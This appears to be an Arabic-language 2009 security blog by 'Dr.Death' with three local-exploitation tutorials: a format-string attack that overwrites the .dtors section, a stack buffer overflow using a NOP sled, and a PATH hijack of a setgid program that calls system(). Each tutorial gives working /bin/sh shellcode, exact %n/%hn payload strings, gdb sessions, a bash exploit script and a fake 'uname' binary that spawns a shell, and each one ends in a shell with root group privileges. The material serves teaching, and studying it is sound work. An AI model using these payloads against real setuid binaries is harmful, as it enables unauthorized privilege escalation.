Wednesday, April 22, 2009

Format string & .dtors section

السلام عليكم...

وطريقه استغلالها بشكل متطور format string بتكلم اليوم عن ثغرات

printf ثغرات الفورمات سترينق تكون في دوال
printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf

المستخدم في داله stringوهي عباره عن غلطات او هفوات المبرمجين , عند استخدامهم لهذي الدوال من غير تعريف ال
بالفورمات باراميتر printf

هناك انواع كثيره من الفورمات باراميترز مثل:
unsigned hexadecimal للقرائه من الميموري بصيغة x%
decimal للقرائه من الميموري بصيغة d%
unsigned decimal للقرائه من الميموري بصيغة %u
سترينق %s
للكتابه على الميموري n%
لكتابة 16 بت على الميموري بدلا من 32 بت hn%

الي بيهمنا هو القرائه والكتابه على الميموري.

نجيب كود مضروب ونشرح عليه احسن


#include <%stdio.h%>
#include <%string.h%>

int main(int argc, char **argv) {
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);

printf(buf);

return 0;
}

استخدمت بدون تحديد الفورمات باراميتر فيها printf مثل ماشايفين, الداله

في المدخلات %x نقدر نقرا بيانات من الميموري اذا استخدمنا

مثلا
[drdeath@SecureDeath lab]$ ./vulnf "%x%x%x%x"
bfffde613f7078257825
[drdeath@SecureDeath lab]$

مثل ما نشوف طلعنا قيم من الميموري بصيغة الهيكس ديسمل.


الحين المطلوب منا ان نكتب الشل كود على الميموري, ونكتب عنوان الشل كود على عنوان من عناوين مسجلات الميموري, في موضوعنا eip السابق عن ثغرات فيض المكدس شرحنا كيف نكتب عنوان الشل كود على مسجل

.dtors هذي المره بنشرح كيف نكتب عنوان الشل كود على عنوان
كومبايلرز GNU الي هو عباره عن مسجل خاص ياتي مع

يشتغل بعد ما يبدا البرنامج بالعمل يعني بعد ما تشتغل الداله .dtors وعنوان
وهو ينظاف على البرنامج بشكل تلقائي بعد ما تعمل له كومبايل بال, main()
يعني لو كتبنا على عنوان ,gcc
عنوان الشل كود لنا بيشتغل الشل كود قبل ما ينهي البرنامج عمله, حلو هذا المطلوب dtor

ممكن نطلعه بطريقتين .dtors اول شي بنطلع عناوين
مثل ما تشوفون عنوان objdump الاولى عن طريق
هو08049510 dtor
[drdeath@SecureDeath lab]$ objdump -h vulnf | grep dtor
16 .dtors 00000008 08049510 08049510 00000510 2**2


بتشوفون عندنا عنوانين الاول بدايه ,nm الثانيه عن طريق
و الثاني نهايته الي هو يزيد عن البدايه باربع بايتات dtor
[drdeath@SecureDeath lab]$ nm vulnf | grep DTOR
08049514 d __DTOR_END__
08049510 d __DTOR_LIST__

يعني على 08049514 dtors نحن نبغي نكتب على نهاية

نبغي نكتب الشل كود على الميموري ونبغي نعرف عنوانه dtors الحين بعد ما طلعنا عنوان

env بنكتب الشل كود على
فاللينكس, ما تهمنا الطريقه الي نكتب فيها الشل كود على الميموري, المهم انه ينكتب وبس
SHELLCODE بنعرف الشل كود على الاينفايرومنت باسم
[drdeath@SecureDeath lab]$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

env نتاكد ان الشل كود انكتب على
[drdeath@SecureDeath lab]$ echo $SHELLCODE
������������������������� 1�Ph//shh/bin��PS�ᙰ
̀
[drdeath@SecureDeath lab]$

تمام امورنا طيبه, الحين نبغي نعرف عنوان الشل كود, ممكن ان نعملها بالطريقه الكلاسيكيه عن طريق
والبحث عن عناوين النوب gdb
[drdeath@SecureDeath lab]$ gdb vulnf
(gdb) b *main
Breakpoint 1 at 0x80483b4
(gdb) run
Starting program: /lab/vulnf

Breakpoint 1, 0x080483b4 in main ()
(gdb) x/200x $esp
..............
...........
...........
0xbfffde5c: 0x00396c65 0x4c454853 0x444f434c 0x90903d45
0xbfffde6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde9c: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbfffdeac: 0x99e18953 0x80cd0bb0 0x45485300 0x2f3d4c4c
................
..........
.....

مثل ما شايفين شغلنا البرنامج المصاب بالديباقر, وبعدين عملنا
*main في بداية البرنامج عند break point
runوبعدين شغلنا البرنامج
وتصفحنا الميموري , وحصلنا قيم النوب والشل كود بعدها.
وخلاص بيشتغل الشل كود dtor نقدر ناخذ اي عنوان من عناوين النوب هذي ونكتبه على عنوان
ههههههههههههه لا صبرو الموضوع بعده شويه مطول في كمن شغله نحتاج نسويها قبل.

اوكيه هذي الطريقه الكلاسيكيه لايجاد عنوان الشل كود, نقدر بعد نستخدم طريقه ثانيه اسهل, وهي عن طريق استخدام داله في لغه السي getenv()اسمها

هذا البرنامج الصغير بيعطينا عنوان الشل كود مباشره


#include <%stdio.h%>
int main() {
printf("%p",getenv("SHELLCODE"));
return 0; }
[drdeath@SecureDeath lab]$ vi egg.c
[drdeath@SecureDeath lab]$ gcc egg.c -o egg
[drdeath@SecureDeath lab]$ ./egg
0xbfffde7a

البرنامج عطانا العنوان
0xbfffde7a

كان كاتب برنامج خاص يحتوي على عدد من الشل كودز لانطمه مختلفه Qnix أخوي
يقوم بحقن الشل كود في الانفايرومنت ويطعيك عنوانه مباشره
http://www.0x80.org/code/app/envt/envt.c

الحين نبغي نكتب ,dtors الحين حصلنا على عنوان الشل كود وعنوان ال
0xbfffde7a
على
0x08049514

0 الى 32 بت وتحويله الى ديسملxbfffde7a بس اول شي بنحتاج نقسم العنوان
%n علشان نقدر نكتبه بالفورمات باراميتر

بنحول قيم الهيكس الى ديسمل ASCII table باستخدام
http://www.asciitable.com/
او ممكن تستخدمون ادات التحويل من هيكس الى ديسمل
http://drdeath.myftp.org:881/crypt.php ;)

bf = 191
ff = 255
de = 222
7a = 122

الحين بنقوم بعمليه حسابيه بسيطه, بنطرح كل قيمه من القيمه الي تحتها. بس اذا كانت القيمه الاولى اصغر من الثانيه بنضيف لها عدد 256 (roll over) وبعدين بنقوم بالطرح الي تسمى بعملية
قيمة bf=191 < ff=255 // نضيف لها 256 وبعدين بنطرح منها 255
191+256=447-255=192

قيمة ff=255 > de=222 // نطرح بشكل طبيعي
255-222=33

قيمة de=222 > 7a=122 // نطرح بشكل طبيعي
222-122=100

7 قيمةa=122 // أخر قيمة نطرحها دائما من 16
122-16=106

dtors الحين هذا القيم بنكتبها على اربع عناوين من عناوين
نحن عندنا العنوان
0 بنزيد عليه بعد 3 عناوين بعده, يعني بيكون كالتاليx08049514
bf = 192 write on 0x08049517
ff = 33 write on 0x08049516
de = 100 write on 0x08049515
7a = 106 write on 0x08049514


الحين بنحتاج نعرف كم فورمات باراميتر بنحتاج علشان نوصل لعنوان المدخل الي بنكتبه
[drdeath@SecureDeath lab]$ ./vulnf "AAAA %x %x %x %x"
AAAA bfffde59 3ef 0 41414141

%x مثل ماتشوفون بعد حوالي اربع
AAAA وجدنا مكان مدخلنا الي هو
والي يقابله 41414141

ممكن انك تروح مباشره وتستعرض قيمة الخانه الرابعه بهذا الشكل
[drdeath@SecureDeath lab]$ ./vulnf "AAAA"%4\$x
AAAA41414141

بنكتب عناوين AAAA تمام, الحين بنعوض بدل
الاربعه الي عندنا, يعني بتنكتب عناوين الديتورز على هذي الاماكن من الميموري dtors
%4\$x
%5\$x
%6\$x
%7\$x

وبالتالي على هذي الخانات بنروح وبنكتب عنوان الشل كود لنا, الي نحنا حولناه الى صيغه ديسمل 23 بت

سنقوم بكتابة قيم الديسمل التي هي في الحقيقه عنوان الشل كود داخل عناوين الديتور.
%x او %u و %nبنستخدم

الاستغلال سيكون بالشكل التالي
[drdeath@SecureDeath lab]$ ./vulnf `printf "\x14\x95\x04\x08\x15\x95\x04\x08\x16\x95\x04\x08\ x17\x95\x04\x08"`%106x%4\$n%100x%5\$n%33x%6\$n%192 x%7\$n
sh-3.1$ id
uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)
sh-3.1$

opcode بصيغه dtorلكتاتب عناوين ال printf مثل ما شايفين, استخدمنا
(little endianا (بطريقه عكسيه وفقا لبروسيسرات ال


لكتابت قيم الديسمل على الاماكن الي حددناها الي هي تبدأ من 4 الى 7 %x و %n وبعدها استخدمنا الفورمات سترينق
واشتغل معانا الشل وحصلنا على صلاحيات يوزر اخر الرووت حيث ان الملف المضروب يملك صلاحيات
لليوزر رووت guid

ممكن ايضا كتابت عنوان الشل كود على الديتور بصيغة ديسمل ولكن على شكل 16 بت , بدلا من 32 بت

عنوان الشل كود الي هو
0xbfffde7a
بنقسمه الى قسمين فقط بدل الاربع اقسام, وبنحوله الى ديسمل , النصف الاول بنطرحه من 8 والثاني بنطرحه من الاول. نطبق ونشوف
0xbfffde7a
bfff=49151-8=49143
de7a=56954-49151=7803

الاستغلال بيكون نفس الاستغلال الي كتبناه قبل بس بدل
%hn بنستخدم %n

لكن عناوين الديتور بتكون فقط عنوانين
0x08049514 الاول بيكون
0x08049514+2 والثاني بيكون
0x08049516 الي هو بيكون

bfff=49143 write on 0x08049516
de7a=7803 write on 0x08049514

الاستغلال بيكون بهذا الشكل
[drdeath@SecureDeath lab]$ ./vulnf `perl -e 'print "\x16\x95\x04\x08\x14\x95\x04\x08"'`%.49143u%4\$hn %.7803u%5\$hn
sh-3.1$ id
uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)
sh-3.1$

مثل ماشايفين ,اكتبنا قيم 16 بت ديسمل على قيم الديتور في العنوانين المحليين
\$hnو %5 \$hn4%
تعطي نفس الناتج ما تفرق %u استخدمنا %x وبدل
واستخدمت
ماتفرق كلهم يعطون نفس النتيجه printf في الاستغلال بدل perl

اتمنى ان يكون الموضوع مفيد , واي استفسار انا حاظر.

تقبلو تحياتي..
Dr.Death

Tuesday, April 14, 2009

GDB & Buffer OverFlow

السلام عليكم...

جميعنا تقريبا يعرف ثغرات البافر اوفر فلو, وهناك شروحات كثيره لها على الانترنت, اغلبها مطوله ومعقده.

حبيت بس اني اقوم بشرحها مره اخرى بشكل مبسط وسهل الاستيعاب

بدخل مباشره بوضع كود مصاب والشرح عليه.


#include <%stdio.h%>
#include <%string.h%>

int main(int argc, char **argv) {

char buf[128];

if(argc < 2) return 1;

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;
}
واضح ان الكود قام بنسخ المدخل المستخدم
argv[1]
على البافر الي هو محدد في الكود ب 128 بايت
[drdeath@SecureDeath lab]$ gcc vul.c -o vul

نعمل له كومبايل ونشغله مباشره من الديباقر
gdb
[drdeath@SecureDeath lab]$ gdb vul

نكتب الامر
run
الخاص بالديباقر حتى نبدا تشغيل البرنامج المضروب ونعطيه مدخل كبير

بأستخدام البيرل او البايثون نستطيع تحديد طول المدخل:

بالبايثون:
(gdb) run `python -c 'print "\x41"*150'`

بالبيرل:
(gdb) run `perl -e 'print "\x41"x150'`

مثلا هنا اخبرنا البيرل بأن يقوم بطباعة الهيكس لحرف
A
الي هو 41 بمعدل 150 مره
او ممكن انك بكل بساطه تقوله يطبع حرف
A
مائه وخمسين مره بهذا الشكل:
(gdb) run `perl -e 'print "A"x150'`

المهم الديباقر طلع لنا ان البرنامج ضرب وعمل
segmentation fault
في العنوان
0x41414141
(gdb) run `perl -e 'print "A"x150'`
Starting program: /lab/vul `perl -e 'print "A"x150'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

نكتب امر الديباق
(gdb) info registers

لمشاهدة مسجلات الميموري وقيمها

يمكنك معه استخدام اختصارات الاوامر يعني مثلا بدل كتابتgdb الديباقر
info registers
يمكنك فقط كتابة
i r

لمشاهدة جميع المسجلات اكتب الامر
(gdb) info all-registers

المهم نرجع لموضوعنا, بنشاهد ان المسجل
قد تمت الكتابه عليه eip
(gdb) info registers
eax 0x0 0
ecx 0x1000 4096
edx 0x5c5448 6050888
ebx 0x5c3ff4 6045684
esp 0xbfffdcc0 0xbfffdcc0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0xfd8cc0 16616640
eip 0x41414141 0x41414141
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

EIP
وهو اختصار ل
"Extended Instruction Pointer"
وظيفته انه يحدد مكان العمليه القادمه التي سوف يتم تشغيلها, يعني العنوان الي يكون فيه بيكون هو العنوان القادم الي بيتم تشغيله.

الحين بنعمل شوية
fuzzing
eip حتى نعرف بالتحديد كم بايت يلزمنا حتى نكتب مانريد على
بننقص عدد المدخلات , يعني بدل 150 نخليها مثلا 145 واخر اربع بايتات نخليها عدد اخر علشان بس نعرف نميز شو الي انكتب على eip

بهذا الشكل:
(gdb) run `perl -e 'print "A"x145, "B"x4'`

145 مره A كتبنا حرف
B و 4 مرات حرف

نرجع نكتب الامر
info registers
مازالت eip بنشوف ان قيمة
0x41414141
نقلل المدخلات بنخليها 140 ونجرب مره ثانيه
(gdb) run `perl -e 'print "A"x140, "B"x4'`

نكتب امر
info registers
eip مره ثانيه ونشوف قيمة
(gdb) run `perl -e 'print "A"x140, "B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level5 `perl -e 'print "A"x140, "B"x4'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0x1000 4096
edx 0xd1c448 13747272
ebx 0xd1aff4 13742068
esp 0xbfffdcd0 0xbfffdcd0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0xa38cc0 10718400
eip 0x42424242 0x42424242
eflags 0x210286 [ PF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

eip حلووووو مثل ما شيفين قيمة
صارت
0x42424242
BBBB الي هي الهيكس لحرف
eip يعني شغلنا سليم قدرنا ان نكتب اربع قيم بشكل كامل على

الحين تقريبا نقدر نقول خلصنا الجانب الكبير وصار علينا ان بس نعوض الفازي الي كنا نعمله بأشياء حقيقيه.

بنحتاج الى شل كود يعتمد على انته شو ناوي تسوي, مثلا نروح موقع ميلورم او اي مواقع ثاني فيه شل كودز جاهزه ونختار شل كود جيد حيث ان البروسيسر عندي هو انتل x86 للنظام الي انته بتشغل الشل و الثغره عليه, مثلا انا بختار شل كود صغير لنظام لينكس
على السيرفر /bin/sh واريده يعطيني

http://milw0rm.org/shellcode/2793

نأخذ الشل كود ونرتبه, علشان نحقنه مباشره في الميموري:
\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x 69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

eip بعد ما دخلنا الشل هذا طوله 22 بايت مثل ماهو واضح, قبل شويه كتبنا على
A 140
و
B 4
يعني بدل بننقص 22 من 140 علشان نعمل مكان للشل.
140 - 22 =118

بتصير الحسبه كالتالي:
[nop] [ShellCode] [eip]
118 22 4

هو 118 بدل 140A بيصير عدد

عباره عن قيمه حقيقيه , اذا خليناها البرنامج بيرجع يضرب لانه ما بيحصل اي عنوان اسمهA لكن ال
0x41414141

الي هو الهيكس له 90 nop بنكتب A بدل
مثل ما يعتقدر بعض الشباب null النوب ليس مثل
0x00 قيمتها nullال
وهي مصيبه بالنسبه للشباب الي يكتبون الشل كودز بانفسهم, لانها تقوم بعمل تيرمينيت او الغاء مابعدها وايقاف تشغيل البرنامج.

phpمثل ما ثغرات اللوكل انكلود في ال

0x00 عندما يقوم المخترق باضافة
بعد الانكلود علشان يوقف عمل اي كود اخر في الملف المضروب ويكتفي فقط بالانكلود
../../../../etc/passwd
نفس الشي في ثغرات السكيول انجشكن وغيرها.

المهم نرجع لموضوعنا طلعنا بعيد عنه خخخخخخخخخ.

عباره عن فراغ, انا اشبهها بالهاويه, لان بعد النوب يجي الشل كود مباشره, ونحن بنعطي nopال
nopاي عنوان من عناوين ال eip


هذا مهم جدا:
eip تخيل شو الي بيصير, كتبنا 118 نوب وبعدها شل كود طوله 22 بايت, واخذنا اي عنوان من عناوين ال 118 نوب وكتبناه على
null العنوانين دائما تكون 4 بايت ساعات تكون اقل لكن الفراغات الي فيها تعوض ب 00

eip على nopالمهم ماعلينا, المهم نرجع لتخيلنا, جينا وشغلنا البرنامج وانكتب عنوان ال

بالطبع عنوان النوب يحتوي على فراغ او هاويه والي بعده كذالك والي بعده والي بعده و بيضل يهوي اااااااااالى ان يجد عنوان حقيقي يحتوي على قيمه فعليه, بعد الهاويه الكبيره يجي عندنا مباشره الشل كود, يعني بيشتغل الشل كود مباشره.

eipماله داعي نروح ونقلب الميموري وندور عن عنوان الشل كود, علشان نكتبه على
اي عنوان من عناوين
0x90
بتؤدي الى نفس النتيجه وبشكل افضل

نكمل التطبيق:

nop بنكتب ال118
و يليه الشل كود يليه اربع بايتات الي هي عنوان النوب الي بنجيبه بعد شويه
BBBBحاليا بنخلي قيمته مثل ما هي
(gdb) run `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "B"x4'`


الي هي اختصار ل ESPبعدها بنستعرض قيم
"Extended Stack Pointer"
يطلع قيم الاستاك ميموري espال

espحاليا نحن مانعرف عناوين النوب , فبندور عنها يدويا, بستعرض حوالي 200 قيمه من قيم الاستاك ميموري من
ممكن تكتب اي عدد مب لازم 200 , بس انا اخترتها علشتان اشوف الميموري بشكل اكبر واعرف اغلب القيم.
(gdb) x/200x $esp
0xbfffdcd0: 0x00000000 0xbfffdd44 0xbfffdd50 0x00000000
0xbfffdce0: 0x00adaff4 0x00000000 0x002e7cc0 0xbfffdd18
0xbfffdcf0: 0xbfffdcd0 0x009c1e6d 0x00000000 0x00000000
0xbfffdd00: 0x00000000 0x002dd090 0x009c1ded 0x002e7ff4
.....................................
..............................
......................
.................
0xbfffde20: 0x00000000 0x656c2f00 0x736c6576 0x76656c2f
0xbfffde30: 0x00356c65 0x90909090 0x90909090 0x90909090
---Type to continue, or q to quit---
0xbfffde40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdea0: 0x90909090 0x90909090 0x0bb09090 0x2f685299
0xbfffdeb0: 0x6868732f 0x6e69622f 0x5352e389 0x80cde189
0xbfffdec0: 0x42424242 0x45485300 0x2f3d4c4c 0x2f6e6962

واضحه تماما عناوين ال118 نوب
0x90
BBBBوبعدها نشوف الشل كود و بعده في السطر الاخير قيم
ناخذ اي عنوان من عناوين النوب , مثلا
0xbfffde60
BBBBونكتبها في الاستغلال بدل ال

بنكتبها بطريقه معكوسه بدل
0xbfffde60
بتكون
\x60\xDE\xFF\xBF
"little endian systemsلان بروسيسرات الانتل طريقه تخزين الداتا فيها تكون معكوسه وهي الي تسمى ب"
عكس بروسيسرات
Motorola و IBM PPC و SUN sparc
"big endian systems"الي تكتب الداتا بشكل مباشر وهي الي تسمى ب

المهم نرجع لموضوعنا, الحين خلاص نرجع نكتب النوب والشل كود وعنوان النوب الي اخترناه مره ثانيه ونشوف شو بيحصل:
(gdb) run `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`

Starting program: /lab/vul `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`

Rh//shh/binكRSفح`��؟
sh-3.1$

gdbاشتغل الشل كود وحصلنا على الشل, نطلع من الدي باقر
argv[1] ونجرب نطبق الاستغلال مباشره من
(gdb) quit
[drdeath@SecureDeath lab]$ ./vul `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`

Rh//shh/binكRSفح`��؟

sh-3.1$ id
uid=500(drdeath) gid=500(drdeath),500(drdeath)
sh-3.1$


suid نجح الاستغلال وحصلنا على الشل, لو كان الملف المصاب له صلاحيات يوزر اخر وكان يستخدم ايضا
في الصلاحيات بنحصل على صلاحيات اليوزر الاخر.

اترك كتابت الاكسبلويت لكل شخص على حسب اللغه الي يحبها اكثر , الاكسبلويت ممكن تنفيذه بأغلب اللغات
و غيرهم c, perl, python, ruby, java, shellScript, php

هذا استغلال بسيط جدا للثغره كتبته باللينكس شل سكربت
#!/usr/bin/env bash
# Sample Buffer OverFlow Exploit
# Coded By Dr.Death

nop=
nlen=118

for ((i=0; i<$nlen; i++));
do
nop=$nop"\x90"
done

ret="\x40\xDE\xFF\xBF"
shellcode="\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"


vulapp='./vul'

expl=$nop$shellcode$ret"\x00"

echo "===========Buffer OverFlow Exploit=========="
echo "===========.::Coded By Dr.Death:.==========="
printf "\n"

$vulapp `printf "$expl"`




تحياتي...
Dr.Death

مخاطر SUID & syscall

السلام عليكم...

هناك غلطات برمجيه يقع فيها كثير من المبرمجين , وهي انهم يقومون بوضع الملفات التنفيذيه في دوال

بدون تحديد مسارها "System Call"

مثلا عندنا هذا الكود


#include <%stdlib.h%>

int main() {

system("uname");

return 0;
}
للوهله الاولى بتقول الكود سليم ومافيه شي, ومافي مجال لاستغلاله.

بس كل شي ممكن في اللينكس, الثغره هذي انك ممكن تلعب على مسارات البحث.

لو كتبت الامر
env
او كتبت
echo $PATH
بتشوف المسارات الي يبحث فيها الشل الي انته تستخدمه مثلا "الباش" عن البرامج والملفات.

مثلا اذا كتبت الامر
uname
بتشوفه اشتغل مباشره بدون اضافة مساره الحقيقي.

اكتب الامر
whereis uname
بتشوف مساره , مثلا
/bin
المسار هذا بتشوفه موجود عندك على
echo $PATH

المهم نرجع لثغره واستغلالها, بكل بساطه روح على اي مسار مثلا
/tmp
واكتب اي كود تريد و غير اسمه الى
"uname"
وضيف المسار الي انته فيه على
$PATH

نحط امثله احسن, مثلا بكتب كود يعطيني شل, وبحطه في
/tmp

#include <%stdlib.h%>
int main()
{
char *arg[] = {"/bin/sh",NULL};

execve(arg[0],arg,NULL);
}
وبغير اسمه الى
uname

وبعدين بضيف المسار الي انا فيه على
$PATH

export PATH=.:$PATH

هنا انا ضفت نقطه على بدايه المسارات , النقطه في اليونكس معناها المسار الي انته فيه.
مثلا اذا جيت تشغل ملف تنفيذي في نفس المسار الي انته فيه بتكتب
./file

المهم, الحين اذا رحت وشغلت الملف الي فيه الثغره وانته موجود على
/tmp
بتشوف انك حصلت على شل بدل الامر
uname

الخطر يكمن في استخدام
setuid/gid
في الصلاحيات.
حيث ان البرنامج يشتغل بصلاحيات اليوزرز صاحب البرنامج وليس اليوزر الي شغل البرنامج.

من المانيول:
S_ISUID 04000 set user ID on execution
S_ISGID 02000 set group ID on execution

خلونا نشوف مثال كامل على الموضوع:

كتبنا الملف المضروب
[drdeath@SecureDeath lab]$ vi sys_exp.c

عملنا له كومبايل بال
gcc
[drdeath@SecureDeath lab]$ gcc sys_exp.c -o sys_exp

غيرنا اليوزر له لروت

[drdeath@SecureDeath lab]$ sudo chown root:root sys_exp

غيرنا الصلاحيات وضفنا له
setgid
[drdeath@SecureDeath lab]$ sudo chmod 2755 sys_exp
[drdeath@SecureDeath lab]$ ls -lah
-rwxr-sr-x 1 root root 4.8K 2009-03-27 12:15 sys_exp

شغلنا البرنامج بشكل طبيعي, واعطانا ناتج الامر
uname
[drdeath@SecureDeath lab]$ ./sys_exp
Linux

رحنا على مسار
/tmp
وعدلنا على
$PATH
[drdeath@SecureDeath lab]$ cd /tmp
[drdeath@SecureDeath tmp]$ export PATH=.:$PATH

كتبنا ملف
uname.c
الي فيه الكود الي بيعطينا الشل
[drdeath@SecureDeath tmp]$ cat >> uname.c <<> #include
> int main()
> {
> char *arg[] = {"/bin/sh",NULL};
> execve(arg[0],arg,NULL);
> }
> EOF
[drdeath@SecureDeath tmp]$

عملنا له كومبايل
[drdeath@SecureDeath tmp]$ gcc uname.c -o uname

شغلنا الملف المضروب مباشره من التمب وحصلنا على الشل و اليوزر له صلاحيات قروب الرووت
[drdeath@SecureDeath tmp]$ /home/drdeath/lab/sys_exp
sh-3.2$ id
uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)
sh-3.2

تحياتي..
Dr.Death